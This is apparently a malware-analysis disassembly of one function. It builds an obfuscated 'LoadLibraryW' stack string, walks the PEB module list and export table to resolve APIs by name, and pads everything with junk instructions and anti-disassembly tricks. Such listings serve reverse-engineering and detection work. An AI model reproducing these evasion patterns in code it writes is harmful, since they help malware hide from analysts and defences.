Function at 0x58b130
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
and esi, 0x156d7
pop esi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edx
call 0x58b1cb
add byte [ebx], dh
xor al, 0x4d
dec eax
dec edx
xor eax, 0x4c48334
add edx, 0x12b65
add edx, 0x15687
pop edx
push eax
push ebx
add esp, 4
xor eax, 0x5e99
pop eax
push edx
add edx, 0xd271
pop edx
cmp dword [ebp - 0x1518], 0
jne 0x58b207
mov dword [ebp - 0x710], 0
jmp 0x58b4ae
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ebx
push edx
add esp, 4
sub ebx, 0x11836
and ebx, 0x653a
pop ebx
push esi
sub esi, 0xcd3b
pop esi
push edx
push edi
add esp, 4
sub edx, 0x11c64
sub edx, 0x10241
sub edx, 0xe987
pop edx
cmp dword [ebp - 0xc58], 0
jne 0x58b263
mov dword [ebp - 0x710], 0
jmp 0x58b4ae
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edi
push ecx
add esp, 4
and edi, 0x14011
jmp 0x58b282
call 0x58b291
add byte [0x46324633], dh
dec ebp
inc ebx
inc edi
add esp, 4
pop edi
push eax
push edx
add esp, 4
sub eax, 0x2355
pop eax
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edi
push ecx
add esp, 4
xor edi, 0xc2c5
sub edi, 0x21ab
jmp 0x58b2e4
pop edi
push edx
push ecx
add esp, 4
xor edx, 0xee3d
or edx, 0x9e1f
sub edx, 0x12e61
pop edx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ebx
push eax
add esp, 4
add ebx, 0x168b
jmp 0x58b365
pop ebx
push edi
and edi, 0xd15f
call 0x58b37c
add byte [edx], dh
inc edi
aaa
xor cl, byte [edi + 0x48]
cmp dword [ecx + 0x35], eax
add esp, 4
and edi, 0x175f8
pop edi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x58b3a3
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x58b3fd
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x58b2cb
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x58b2cb
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x58b3e7
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x58b3f1
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x58b446
push edi
call 0x58b414
add byte [eax + 0x40], cl
dec ecx
xor dh, byte [esi]
inc ebx
cmp al, 0x83
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [ebx + 0x50], cl
cmp al, 0x3a
dec esi
dec esp
inc edx
xor eax, dword [ebx + 0x565f04c4]
push ecx
add esp, 4
jmp 0x58b437
pop esi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x58b4ae
push edx
jmp 0x58b450
and edx, 0x12f8c
sub edx, 0xee29
pop edx
push edx
call 0x58b46e
add byte [edx], bh
xor dh, byte [ebx]
dec ecx
dec eax
inc esp
xor eax, dword [esi + 0x44]
xor al, byte [ebx - 0x3d7efb3c]
mov byte [eax], bl
add dword [eax], eax
pop edx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x58b4a4
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x58b26f
mov dword [ebp - 0x710], 0
push ebx
push edi
add esp, 4
or ebx, 0xab42
add ebx, 0x14a86
pop ebx
push edi
push esi
add esp, 4
and edi, 0x17e18
jmp 0x58b4d1
sub edi, 0x33f8
pop edi
push edx
xor edx, 0x99c
pop edx
cmp dword [ebp - 0x710], 0
jne 0x58b52a
push ecx
push ebx
add esp, 4
add ecx, 0x4c19
add ecx, 0x1705d
pop ecx
push edi
sub edi, 0x1258f
call 0x58b511
add byte [edx], dh
cmp byte ss:[0x4f324949], dh
add esp, 4
sub edi, 0xd370
pop edi
mov dword [ebp - 0xa58], 0
jmp 0x58c052
push esi
push eax
add esp, 4
or esi, 0x9aa3
jmp 0x58b53e
sub esi, 0x36ee
pop esi
push esi
call 0x58b552
add byte [edi + edi], bh
dec eax
inc ecx
dec ecx
inc ecx
add esp, 4
jmp 0x58b55b
pop esi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x58b59b
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x58b88c
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x58b5c3
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x58b88c
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x58b5f5
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x58b88c
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x58b61a
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x58b88c
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x58b674
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x58b880
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x58b6e4
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x58b796
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x58b796
push esi
xor esi, 0x12c3e
xor esi, 0x11d11
pop esi
push edx
jmp 0x58b728
pop edx
push eax
add eax, 0xc710
jmp 0x58b739
jmp 0x58b742
pop eax
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x58b788
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x58b78f
jmp 0x58b6d5
jmp 0x58b796
push esi
add esi, 0xfeaf
call 0x58b7ac
add byte [ebx + 0x4b], cl
push eax
cmp dh, byte [esi + eax*2]
xor al, 0x38
add esp, 4
pop esi
push ecx
add ecx, 0x6878
call 0x58b7c4
add byte [edi + 0x3d], al
inc edx
inc ebx
cmp eax, dword [ecx + edi - 0x7d]
les eax, [ecx + ebx*2]
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x58b7f5
mov dword [ebp - 0xc5c], 0
jmp 0x58b864
push edi
call 0x58b803
add byte [ebp + 0x4e], al
inc ecx
cmp byte ss:[edi + 0x36], al
add esp, 4
xor edi, 0xf693
pop edi
push ebx
push esi
add esp, 4
add ebx, 0xa592
or ebx, 0x1b7c
pop ebx
push ecx
or ecx, 0x1618a
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x58b85a
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x58b864
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x58b87b
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x58b88c
jmp 0x58b665
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x58b967
push ebx
push esi
add esp, 4
sub ebx, 0xfb96
and ebx, 0xa3cc
add ebx, 0x386c
pop ebx
push eax
push ecx
add esp, 4
sub eax, 0x2bab
or eax, 0x61ef
jmp 0x58b8ca
pop eax
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push eax
jmp 0x58b8dd
or eax, 0x12346
or eax, 0x6604
pop eax
push ebx
call 0x58b8f9
add byte [esp + eax*2], dh
inc esi
inc ebp
cmp al, 0x4d
inc edi
aaa
add esp, 4
pop ebx
push edx
push edi
add esp, 4
and edx, 0x4123
pop edx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x58b967
push ebx
xor ebx, 0xf3f2
xor ebx, 0x5612
jmp 0x58b939
sub ebx, 0x31c9
pop ebx
push ecx
push edi
add esp, 4
add ecx, 0x15d46
jmp 0x58b951
and ecx, 0x373d
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x58c052